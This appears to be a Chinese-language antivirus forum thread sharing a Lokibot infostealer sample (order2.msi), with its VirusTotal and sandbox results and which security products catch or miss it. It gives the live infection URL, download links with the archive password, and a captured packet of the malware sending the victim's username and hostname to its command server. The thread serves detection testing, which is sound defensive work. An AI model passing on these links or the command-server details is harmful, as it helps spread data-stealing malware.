order2.msi VT(19/59)

显示全部楼层 · 发表于 2018-8-25 23:44:25

本帖最后由 Agu 于 2018-8-26 00:28 编辑

掛馬網址：
tablez.in/fonts/order2.msi

樣本載點(SHA-256前六碼193E88，密碼infected)：

https://file.io/P9M0Ns
https://we.tl/t-yTY6ZjHk79

測試：
VT(19/59)：https://www.virustotal.com/#/fil ... a958665ac/detection
Any.Run(Malicious)：https://app.any.run/tasks/00bc0a34-5294-4bed-b654-4878781d3a57
Intezer(Malicious)：https://analyze.intezer.com/#/an ... 5-b121-07c168996007

Malwarebytes - Miss

显示全部楼层 · 发表于 2018-8-25 23:49:11

本帖最后由 BE_HC 于 2018-8-26 00:19 编辑

Norton KILL
IPS:"System Infected:Infostealer.Lokibot Activity 2"

42 72.200183 192.168.240.128 pms-ne.kr TCP 290 [TCP Retransmission] 1035 → 80 [PSH, ACK] Seq=1 Ack=3388410324 Win=64240 Len=236
PV=)Ec@@Qe
PGvIB\ePg'ckav.ruAdministratorWINXP-52POJIE-2WINXP-52POJIE-2k09047AEBEF5D67FFD28AEAEC8Sv5mT
PV=)Eb@@QZ
PGu]B\eP&POST /ikloki/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: pms-ne.kr
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 737DC3F8
Content-Length: 224
Connection: close

复制代码

显示全部楼层 · 发表于 2018-8-26 00:10:34

本帖最后由 www-tekeze 于 2018-8-26 00:19 编辑

论坛抽风，无法下载。。

准备从VT下载。。。

显示全部楼层 · 发表于 2018-8-26 00:19:51

www-tekeze 发表于 2018-8-26 00:10
论坛抽风，无法下载。。

直接在挂马网站下233

显示全部楼层 · 发表于 2018-8-26 00:27:28

www-tekeze 发表于 2018-8-26 00:10
论坛抽风，无法下载。。准备从VT下载。。。

显示全部楼层 · 发表于 2018-8-26 00:40:04

Agu 发表于 2018-8-26 00:27
我上傳到免空，請試試：
https://file.io/P9M0Ns
https://we.tl/t-yTY6ZjHk79

第二个https://we.tl/t-yTY6ZjHk79不错，第一个404错误。。。已下载。。。

显示全部楼层 · 发表于 2018-8-26 00:40:47

BE_HC 发表于 2018-8-25 23:49
Norton KILL
IPS:"System Infected:Infostealer.Lokibot Activity 2"

没反应过来。。

显示全部楼层 · 发表于 2018-8-26 00:44:28

Agu 发表于 2018-8-26 00:27
我上傳到免空，請試試：
https://file.io/P9M0Ns
https://we.tl/t-yTY6ZjHk79

火绒、智量均miss 。。

显示全部楼层 · 发表于 2018-8-26 00:54:47

www-tekeze 发表于 2018-8-26 00:40
第二个https://we.tl/t-yTY6ZjHk79不错，第一个404错误。。。已下载。。。

感謝測試

显示全部楼层 · 发表于 2018-8-26 01:00:06

Agu 发表于 2018-8-26 00:54
感謝測試

在虚拟机里跑了，有联网动作，但其它的看不到。。。也上传给智量还没报，等明天看看。

[病毒样本] order2.msi VT(19/59)